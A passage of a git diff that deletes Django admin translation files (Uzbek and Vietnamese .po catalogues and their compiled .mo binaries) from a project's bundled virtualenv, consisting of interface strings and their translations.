-#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s%(obj)smuvaffaqiyatli o'chirildi" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Qo'shish %s" - -#, python-format -msgid "Change %s" -msgstr "%sni o'zgartirish" - -#, python-format -msgid "View %s" -msgstr "Ko'rish %s" - -msgid "Database error" -msgstr "Ma'lumotlar bazasi xatoligi yuz berdi" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "" - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "" - -msgid "Server error" -msgstr "Server xatoligi" - -msgid "Server error (500)" -msgstr "Server xatoligi (500)" - -msgid "Server Error (500)" -msgstr "Server xatoligi (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Tanlangan faoliyatni ishga tushirish" - -msgid "Go" -msgstr "" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "Breadcrumbs" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Qo'shish" - -msgid "View" -msgstr "Ko'rish" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "Username va parolni kiritish" - -msgid "Change password" -msgstr "Parolni o'zgartirish" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Skip to main content" -msgstr "" - -msgid "Welcome," -msgstr "Xush kelibsiz," - -msgid "View site" -msgstr "Saytni ko'rish" - -msgid "Documentation" -msgstr "Qo'llanma" - -msgid "Log out" -msgstr "Chiqish" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)sqo'shish" - -msgid "History" -msgstr "" - -msgid "View on site" -msgstr "Saytda ko'rish" - -msgid "Filter" -msgstr "Saralash" - -msgid "Hide counts" -msgstr "" - -msgid "Show counts" -msgstr "" - -msgid "Clear all filters" -msgstr "" - -msgid "Remove from sorting" -msgstr "Tartiblashdan chiqarish" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Toggle theme (current theme: auto)" -msgstr "" - -msgid "Toggle theme (current theme: light)" -msgstr "" - -msgid "Toggle theme (current theme: dark)" -msgstr "" - -msgid "Delete" -msgstr "O'chirish" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Delete?" -msgstr "O'chirasizmi?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "Xulosa" - -msgid "Recent actions" -msgstr "So'ngi harakatlar" - -msgid "My actions" -msgstr "Mening harakatlarim" - -msgid "None available" -msgstr "" - -msgid "Added:" -msgstr "" - -msgid "Changed:" -msgstr "" - -msgid "Deleted:" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Navigatsiyani almashtirish" - -msgid "Sidebar" -msgstr "" - -msgid "Start typing to filter…" -msgstr "" - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "Saqlash" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Izlash" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you’ve forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "Parolimni tiklash" - -msgid "Select all objects on this page for an action" -msgstr "" - -msgid "All dates" -msgstr "Barcha sanalar" - -#, python-format -msgid "Select %s" -msgstr "%sni tanlash" - -#, python-format -msgid "Select %s to change" -msgstr "" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Sana:" - -msgid "Time:" -msgstr "Vaqt:" - -msgid "Lookup" -msgstr "Izlash" - -msgid "Currently:" -msgstr "Hozirda:" - -msgid "Change:" -msgstr "O'zgartirish:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 7c922f69..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.po deleted file mode 100644 index d731b22e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/uz/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,261 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Nuriddin Islamov, 2021 -# Otabek Umurzakov , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-12-15 16:52+0000\n" -"Last-Translator: Nuriddin Islamov\n" -"Language-Team: Uzbek (http://www.transifex.com/django/django/language/uz/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: uz\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "Mavjud %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Bu mavjud %s ro'yxati. Siz ulardan ba'zilarini quyidagi maydonchada " -"belgilab, so'ng ikkala maydonlar orasidagi \"Tanlash\" ko'rsatkichiga bosish " -"orqali tanlashingiz mumkin." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Mavjud bo'lgan %s larni ro'yxatini filtrlash uchun ushbu maydonchaga " -"kiriting." - -msgid "Filter" -msgstr "Filtrlash" - -msgid "Choose all" -msgstr "Barchasini tanlash" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Barcha %s larni birdan tanlash uchun bosing." - -msgid "Choose" -msgstr "Tanlash" - -msgid "Remove" -msgstr "O'chirish" - -#, javascript-format -msgid "Chosen %s" -msgstr "Tanlangan %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Bu tanlangan %s ro'yxati. Siz ulardan ba'zilarini quyidagi maydonchada " -"belgilab, so'ng ikkala maydonlar orasidagi \"O'chirish\" ko'rsatkichiga " -"bosish orqali o'chirishingiz mumkin." - -msgid "Remove all" -msgstr "Barchasini o'chirish" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Barcha tanlangan %s larni birdan o'chirib tashlash uchun bosing." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s dan %(sel)s tanlandi" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Siz alohida tahrirlash mumkin bo'lgan maydonlarda saqlanmagan " -"o‘zgarishlaringiz mavjud. Agar siz harakatni ishga tushirsangiz, saqlanmagan " -"o'zgarishlaringiz yo'qotiladi." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Hozir" - -msgid "Midnight" -msgstr "Yarim tun" - -msgid "6 a.m." -msgstr "6 t.o." - -msgid "Noon" -msgstr "Kun o'rtasi" - -msgid "6 p.m." -msgstr "6 t.k." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Eslatma: Siz server vaqtidan %s soat oldindasiz." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Eslatma: Siz server vaqtidan %s soat orqadasiz." - -msgid "Choose a Time" -msgstr "Vaqtni tanlang" - -msgid "Choose a time" -msgstr "Vaqtni tanlang" - -msgid "Cancel" -msgstr "Bekor qilish" - -msgid "Today" -msgstr "Bugun" - -msgid "Choose a Date" -msgstr "Sanani tanlang" - -msgid "Yesterday" -msgstr "Kecha" - -msgid "Tomorrow" -msgstr "Ertaga" - -msgid "January" -msgstr "Yanvar" - -msgid "February" -msgstr "Fevral" - -msgid "March" -msgstr "Mart" - -msgid "April" -msgstr "Aprel" - -msgid "May" -msgstr "May" - -msgid "June" -msgstr "Iyun" - -msgid "July" -msgstr "Iyul" - -msgid "August" -msgstr "Avgust" - -msgid "September" -msgstr "Sentabr" - -msgid "October" -msgstr "Oktabr" - -msgid "November" -msgstr "Noyabr" - -msgid "December" -msgstr "Dekabr" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Ya" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Du" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Se" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Ch" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Pa" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Ju" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Sh" - -msgid "Show" -msgstr "Ko'rsatish" - -msgid "Hide" -msgstr "Bekitish" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/django.mo deleted file mode 100644 index 8ec2d11d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/django.po deleted file mode 100644 index 60fe2ce8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/vi/LC_MESSAGES/django.po +++ /dev/null @@ -1,726 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Dimitris Glezos , 2012 -# Jannis Leidel , 2011 -# Thanh Le Viet , 2013 -# Tran , 2011 -# Tran Van , 2011-2013,2016,2018 -# tinnguyen121221, 2021 -# Vuong Nguyen , 2011 -# xgenvn , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-12-23 17:57+0000\n" -"Last-Translator: tinnguyen121221\n" -"Language-Team: Vietnamese (http://www.transifex.com/django/django/language/" -"vi/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: vi\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Xóa các %(verbose_name_plural)s đã chọn" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Đã xóa thành công %(count)d %(items)s ." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Không thể xóa %(name)s" - -msgid "Are you sure?" -msgstr "Bạn có chắc chắn không?" - -msgid "Administration" -msgstr "Quản trị website" - -msgid "All" -msgstr "Tất cả" - -msgid "Yes" -msgstr "Có" - -msgid "No" -msgstr "Không" - -msgid "Unknown" -msgstr "Chưa xác định" - -msgid "Any date" -msgstr "Bất kì ngày nào" - -msgid "Today" -msgstr "Hôm nay" - -msgid "Past 7 days" -msgstr "7 ngày trước" - -msgid "This month" -msgstr "Tháng này" - -msgid "This year" -msgstr "Năm nay" - -msgid "No date" -msgstr "Không có ngày" - -msgid "Has date" -msgstr "Có ngày" - -msgid "Empty" -msgstr "Rỗng" - -msgid "Not empty" -msgstr "Không rỗng" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Bạn hãy nhập đúng %(username)s và mật khẩu. (Có phân biệt chữ hoa, thường)" - -msgid "Action:" -msgstr "Hoạt động:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Thêm một %(verbose_name)s " - -msgid "Remove" -msgstr "Gỡ bỏ" - -msgid "Addition" -msgstr "Thêm" - -msgid "Change" -msgstr "Thay đổi" - -msgid "Deletion" -msgstr "Xóa" - -msgid "action time" -msgstr "Thời gian tác động" - -msgid "user" -msgstr "người dùng" - -msgid "content type" -msgstr "kiểu nội dung" - -msgid "object id" -msgstr "Mã đối tượng" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "đối tượng repr" - -msgid "action flag" -msgstr "hiệu hành động" - -msgid "change message" -msgstr "thay đổi tin nhắn" - -msgid "log entry" -msgstr "đăng nhập" - -msgid "log entries" -msgstr "mục đăng nhập" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Đã thêm “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Đã thay đổi “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Đã xóa “%(object)s.”" - -msgid "LogEntry Object" -msgstr "LogEntry Object" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Đã thêm {name} “{object}”." - -msgid "Added." -msgstr "Được thêm." - -msgid "and" -msgstr "và" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Đã thay đổi {fields} cho {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Đã thay đổi {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Đã xóa {name} “{object}”." - -msgid "No fields changed." -msgstr "Không có trường nào thay đổi" - -msgid "None" -msgstr "Không" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Nhấn giữ phím “Control”, hoặc “Command” trên máy Mac, để chọn nhiều hơn một." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” được thêm vào thành công." - -msgid "You may edit it again below." -msgstr "Bạn có thể chỉnh sửa lại bên dưới." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” được thêm vào thành công. Bạn có thể thêm một {name} khác bên " -"dưới." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” được chỉnh sửa thành công. Bạn có thể chỉnh sửa lại bên dưới." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” được thêm vào thành công. Bạn có thể chỉnh sửa lại bên dưới." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” được chỉnh sửa thành công. Bạn có thể thêm một {name} khác " -"bên dưới." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” đã được thay đổi thành công." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Mục tiêu phải được chọn mới có thể thực hiện hành động trên chúng. Không có " -"mục tiêu nào đã được thay đổi." - -msgid "No action selected." -msgstr "Không có hoạt động nào được lựa chọn." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” đã được xóa thành công." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s với ID “%(key)s” không tồn tại. Có lẽ nó đã bị xóa?" - -#, python-format -msgid "Add %s" -msgstr "Thêm %s" - -#, python-format -msgid "Change %s" -msgstr "Thay đổi %s" - -#, python-format -msgid "View %s" -msgstr "Xem %s" - -msgid "Database error" -msgstr "Cơ sở dữ liệu bị lỗi" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] " %(count)s %(name)s đã được thay đổi thành công." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Tất cả %(total_count)s đã được chọn" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 của %(cnt)s được chọn" - -#, python-format -msgid "Change history: %s" -msgstr "Lịch sử thay đổi: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Xóa %(class_name)s %(instance)s sẽ tự động xóa các đối tượng liên quan sau: " -"%(related_objects)s" - -msgid "Django site admin" -msgstr "Trang web admin Django" - -msgid "Django administration" -msgstr "Trang quản trị cho Django" - -msgid "Site administration" -msgstr "Site quản trị hệ thống." - -msgid "Log in" -msgstr "Đăng nhập" - -#, python-format -msgid "%(app)s administration" -msgstr "Quản lý %(app)s" - -msgid "Page not found" -msgstr "Không tìm thấy trang nào" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Rất tiếc, không thể tìm thấy trang được yêu cầu." - -msgid "Home" -msgstr "Trang chủ" - -msgid "Server error" -msgstr "Lỗi máy chủ" - -msgid "Server error (500)" -msgstr "Lỗi máy chủ (500)" - -msgid "Server Error (500)" -msgstr "Lỗi máy chủ (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Có lỗi xảy ra. Lỗi sẽ được gửi đến quản trị website qua email và sẽ được " -"khắc phục sớm. Cám ơn bạn." - -msgid "Run the selected action" -msgstr "Bắt đầu hành động lựa chọn" - -msgid "Go" -msgstr "Đi đến" - -msgid "Click here to select the objects across all pages" -msgstr "Click vào đây để lựa chọn các đối tượng trên tất cả các trang" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Hãy chọn tất cả %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Xóa lựa chọn" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Các mô models trong %(name)s" - -msgid "Add" -msgstr "Thêm vào" - -msgid "View" -msgstr "Xem" - -msgid "You don’t have permission to view or edit anything." -msgstr "Bạn không có quyền xem hoặc chỉnh sửa bất cứ gì." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Đầu tiên, điền tên đăng nhập và mật khẩu. Sau đó, bạn mới có thể chỉnh sửa " -"nhiều hơn lựa chọn của người dùng." - -msgid "Enter a username and password." -msgstr "Điền tên đăng nhập và mật khẩu." - -msgid "Change password" -msgstr "Đổi mật khẩu" - -msgid "Please correct the error below." -msgstr "Hãy sửa lỗi sai dưới đây" - -msgid "Please correct the errors below." -msgstr "Hãy chỉnh sửa lại các lỗi sau." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Hãy nhập mật khẩu mới cho người sử dụng %(username)s." - -msgid "Welcome," -msgstr "Chào mừng bạn," - -msgid "View site" -msgstr "Xem trang web" - -msgid "Documentation" -msgstr "Tài liệu" - -msgid "Log out" -msgstr "Thoát" - -#, python-format -msgid "Add %(name)s" -msgstr "Thêm vào %(name)s" - -msgid "History" -msgstr "Bản ghi nhớ" - -msgid "View on site" -msgstr "Xem trên trang web" - -msgid "Filter" -msgstr "Bộ lọc" - -msgid "Clear all filters" -msgstr "Xóa tất cả bộ lọc" - -msgid "Remove from sorting" -msgstr "Bỏ khỏi sắp xếp" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sắp xếp theo:%(priority_number)s" - -msgid "Toggle sorting" -msgstr "Hoán đổi sắp xếp" - -msgid "Delete" -msgstr "Xóa" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Xóa %(object_name)s '%(escaped_object)s' sẽ làm mất những dữ liệu có liên " -"quan. Tài khoản của bạn không được cấp quyển xóa những dữ liệu đi kèm theo." - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Xóa các %(object_name)s ' %(escaped_object)s ' sẽ bắt buộc xóa các đối " -"tượng được bảo vệ sau đây:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Bạn có chắc là muốn xóa %(object_name)s \"%(escaped_object)s\"?Tất cả những " -"dữ liệu đi kèm dưới đây cũng sẽ bị mất:" - -msgid "Objects" -msgstr "Đối tượng" - -msgid "Yes, I’m sure" -msgstr "Có, tôi chắc chắn" - -msgid "No, take me back" -msgstr "Không, đưa tôi trở lại" - -msgid "Delete multiple objects" -msgstr "Xóa nhiều đối tượng" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Xóa các %(objects_name)s sẽ bắt buộc xóa các đối tượng liên quan, nhưng tài " -"khoản của bạn không có quyền xóa các loại đối tượng sau đây:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Xóa các %(objects_name)s sẽ bắt buộc xóa các đối tượng đã được bảo vệ sau " -"đây:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Bạn chắc chắn muốn xóa những lựa chọn %(objects_name)s? Tất cả những đối " -"tượng sau và những đối tượng liên quan sẽ được xóa:" - -msgid "Delete?" -msgstr "Bạn muốn xóa?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Bởi %(filter_title)s " - -msgid "Summary" -msgstr "Tóm tắt" - -msgid "Recent actions" -msgstr "Hoạt động gần đây" - -msgid "My actions" -msgstr "Hoạt động của tôi" - -msgid "None available" -msgstr "Không có sẵn" - -msgid "Unknown content" -msgstr "Không biết nội dung" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Một vài lỗi với cơ sở dữ liệu cài đặt của bạn. Hãy chắc chắn bảng biểu dữ " -"liệu được tạo phù hợp và dữ liệu có thể được đọc bởi những người sử dụng phù " -"hợp." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Bạn đã xác thực bằng tài khoản %(username)s, nhưng không đủ quyền để truy " -"cập trang này. Bạn có muốn đăng nhập bằng một tài khoản khác?" - -msgid "Forgotten your password or username?" -msgstr "Bạn quên mật khẩu hoặc tài khoản?" - -msgid "Toggle navigation" -msgstr "" - -msgid "Start typing to filter…" -msgstr "Nhập để lọc..." - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Ngày/giờ" - -msgid "User" -msgstr "Người dùng" - -msgid "Action" -msgstr "Hành động" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Đối tượng này không có một lịch sử thay đổi. Nó có lẽ đã không được thêm vào " -"qua trang web admin." - -msgid "Show all" -msgstr "Hiện tất cả" - -msgid "Save" -msgstr "Lưu lại" - -msgid "Popup closing…" -msgstr "Đang đóng cửa sổ popup ..." - -msgid "Search" -msgstr "Tìm kiếm" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s kết quả" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "tổng số %(full_result_count)s" - -msgid "Save as new" -msgstr "Lưu mới" - -msgid "Save and add another" -msgstr "Lưu và thêm mới" - -msgid "Save and continue editing" -msgstr "Lưu và tiếp tục chỉnh sửa" - -msgid "Save and view" -msgstr "Lưu lại và xem" - -msgid "Close" -msgstr "Đóng" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Thay đổi %(model)s đã chọn" - -#, python-format -msgid "Add another %(model)s" -msgstr "Thêm %(model)s khác" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Xóa %(model)s đã chọn" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Cảm ơn bạn đã dành thời gian với trang web." - -msgid "Log in again" -msgstr "Đăng nhập lại" - -msgid "Password change" -msgstr "Thay đổi mật khẩu" - -msgid "Your password was changed." 